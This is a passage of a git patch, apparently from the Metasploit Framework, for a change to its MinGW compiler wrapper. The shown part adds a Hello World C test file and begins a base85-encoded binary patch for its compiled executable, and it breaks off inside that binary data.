+0100 Subject: [PATCH 026/415] Added changes to mingw.rb to allow custom iquote include dirs --- OK.c | 12 ++++++++++++ OK.exe | Bin 0 -> 239569 bytes a.exe | Bin 0 -> 240343 bytes lib/metasploit/framework/compiler/mingw.rb | 12 ++++++++---- 4 files changed, 20 insertions(+), 4 deletions(-) create mode 100644 OK.c create mode 100755 OK.exe create mode 100755 a.exe diff --git a/OK.c b/OK.c new file mode 100644 index 0000000000000..76e959d984d0f --- /dev/null +++ b/OK.c @@ -0,0 +1,12 @@ + +#include +#include +#include "rc4.h" + + +int main(int argc, char **argv) +{ + char str[] = "Hello World!"; + printf("%s\n", str); + return 0; +} \ No newline at end of file diff --git a/OK.exe b/OK.exe new file mode 100755 index 0000000000000000000000000000000000000000..754fe6eeb28e4caa3112c95e099fbd37086bbaf6 GIT binary patch literal 239569 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 